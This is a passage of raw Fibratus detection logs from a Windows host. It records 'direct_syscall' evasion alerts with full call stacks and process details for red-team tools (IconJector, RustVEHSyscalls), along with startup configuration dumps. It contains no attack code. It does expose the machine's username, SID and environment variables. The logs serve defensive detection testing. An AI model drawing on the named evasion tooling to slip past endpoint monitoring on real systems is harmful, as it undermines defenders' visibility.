C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffaf1c62862 C:\Windows\System32\windows.storage.dll!SHBindToParent|0x7ffaf1ce6237 C:\Windows\System32\windows.storage.dll!IsLibraryPolicyEnabled|0x7ffaf1c91e03 C:\Windows\System32\windows.storage.dll!SHGetNameFromIDList|0x7ffaf624988f C:\Windows\System32\shell32.dll!Ordinal874|0x7ffaf63a90fc C:\Windows\System32\shell32.dll!Ordinal859|0x7ffaf63bae45 C:\Windows\System32\shell32.dll!Ordinal859|0x7ffaf680781a C:\Windows\System32\SHCore.dll!Ordinal234|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:05:29+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 824387 + Pid: 4164 + Tid: 9416 + Type: VirtualAlloc + CPU: 3 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:05:27.4562104 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 2955af8000, exe➜ C:\Fibratus\redteam\IconJector\bin\IconJector.exe, name➜ IconJector.exe, pid➜ 4164, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 4164 + Ppid: 16112 + Name: IconJector.exe + Parent name: explorer.exe + Cmdline: "C:\Fibratus\redteam\IconJector\bin\IconJector.exe" + Parent cmdline: C:\WINDOWS\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding + Exe: C:\Fibratus\redteam\IconJector\bin\IconJector.exe + Cwd: C:\Fibratus\redteam\IconJector\bin\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\IconJector\bin\IconJector.exe"] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffaf1c53750 C:\Windows\System32\windows.storage.dll!Ordinal2003|0x7ffaf1f63fa9 C:\Windows\System32\windows.storage.dll!Ordinal844|0x7ffaf1f64fe0 C:\Windows\System32\windows.storage.dll!Ordinal844|0x7ffaf1c0d65b C:\Windows\System32\windows.storage.dll!IsRemovableDevicePath|0x7ffaf1c0c9df C:\Windows\System32\windows.storage.dll!IsRemovableDevicePath|0x7ffaf1c0e5ff C:\Windows\System32\windows.storage.dll!IsRemovableDevicePath|0x7ffaf1d111da C:\Windows\System32\windows.storage.dll!STORAGE_CreateStorageItemFromShellItem_FullTrustCaller_ForPackage|0x7ffaf20d432b C:\Windows\System32\windows.storage.dll!SHCreateShellItemArrayWithFolderParent|0x7ffaf1dbd7e0 C:\Windows\System32\windows.storage.dll!CCategoryProvider_CreateWithParams|0x7ffaf1d9dc69 C:\Windows\System32\windows.storage.dll!Ordinal740|0x7ffaf1c0d8e0 C:\Windows\System32\windows.storage.dll!IsRemovableDevicePath|0x7ffaf1c7bdc7 C:\Windows\System32\windows.storage.dll!SHExtCoCreateInstanceString|0x7ffaf1c49015 C:\Windows\System32\windows.storage.dll!CShellItem_CreateInstance|0x7ffaf1c491c1 C:\Windows\System32\windows.storage.dll!CShellItem_CreateInstance|0x7ffaf1c62adf C:\Windows\System32\windows.storage.dll!SHBindToParent|0x7ffaf1ce6237 C:\Windows\System32\windows.storage.dll!IsLibraryPolicyEnabled|0x7ffaf1c91e03 C:\Windows\System32\windows.storage.dll!SHGetNameFromIDList|0x7ffaf624988f C:\Windows\System32\shell32.dll!Ordinal874|0x7ffaf63a90fc C:\Windows\System32\shell32.dll!Ordinal859|0x7ffaf63bae45 C:\Windows\System32\shell32.dll!Ordinal859|0x7ffaf680781a C:\Windows\System32\SHCore.dll!Ordinal234|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:07:08+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-06T19:07:09+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-06T19:07:09+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-06T19:07:22+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-06T19:07:22+01:00 level=info msg=bootstrapping with pid 17944. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-06T19:07:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ use-template=>true port=>25 to=>[] enabled=>false content-type=>text/html] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-dns=>false buffer-size=>512 enable-thread=>true max-buffers=>36 enable-net=>true enable-threadpool=>false flush-interval=>1s stack-enrichment=>true enable-registry=>true enable-handle=>false enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>true min-buffers=>16 enable-image=>true enable-vamap=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 level=>info formatter=>text max-backups=>15 log-stdout=>true max-age=>0] + output ......................... [ elasticsearch=>[ gzip-compression=>false flush-period=>1s timeout=>5s healthcheck-timeout=>5s sniff=>false healthcheck-interval=>10s enabled=>false template-name=>fibratus index-name=>fibratus trace-log=>false healthcheck=>true servers=>[http://127.0.0.1:9200] bulk-workers=>1] amqp=>[ delivery-mode=>transient vhost=>/ exchange-type=>topic routing-key=>fibratus passive=>false durable=>false tls-insecure-skip-verify=>false exchange=>fibratus url=>amqp://localhost:5672 timeout=>5s enabled=>false] http=>[ enabled=>false serializer=>json enable-gzip=>false method=>POST tls-insecure-skip-verify=>false endpoints=>[] timeout=>5s] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true]] + pe ............................. [ read-symbols=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-mmaps=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false fastscan=>true excluded-files=>[] excluded-procs=>[] skip-files=>false enabled=>false skip-allocs=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-06T19:07:22+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-06T19:07:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-06T19:07:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-06T19:07:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-06T19:07:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-06T19:12:53+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-06T19:12:53+01:00 level=info msg=bootstrapping with pid 13004. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-06T19:12:53+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ enabled=>false use-template=>true to=>[] port=>25 content-type=>text/html]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-threadpool=>false enable-vamap=>true stack-enrichment=>true enable-net=>true enable-image=>true flush-interval=>1s enable-thread=>true enable-audit-api=>true max-buffers=>36 enable-dns=>false enable-registry=>true buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false min-buffers=>16 enable-fileio=>true enable-mem=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info formatter=>text log-stdout=>true max-backups=>15 max-age=>0 max-size=>100] + output ......................... [ http=>[ tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json timeout=>5s enabled=>false endpoints=>[] method=>POST] amqp=>[ exchange-type=>topic url=>amqp://localhost:5672 durable=>false tls-insecure-skip-verify=>false vhost=>/ exchange=>fibratus passive=>false routing-key=>fibratus enabled=>false timeout=>5s delivery-mode=>transient] elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck=>true timeout=>5s sniff=>false healthcheck-interval=>10s flush-period=>1s healthcheck-timeout=>5s template-name=>fibratus trace-log=>false gzip-compression=>false enabled=>false index-name=>fibratus bulk-workers=>1] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false read-symbols=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false excluded-files=>[] skip-files=>false skip-registry=>false fastscan=>true skip-allocs=>false scan-timeout=>10s excluded-procs=>[] enabled=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-06T19:12:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-06T19:12:56+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902751 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 1 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.9866686 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ d0f50f4000, exe➜ C:\Users\nedo\.cargo\bin\cargo.exe, name➜ cargo.exe, page_type➜ PRIVATE, pid➜ 15532, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb03586 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902753 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 1 + 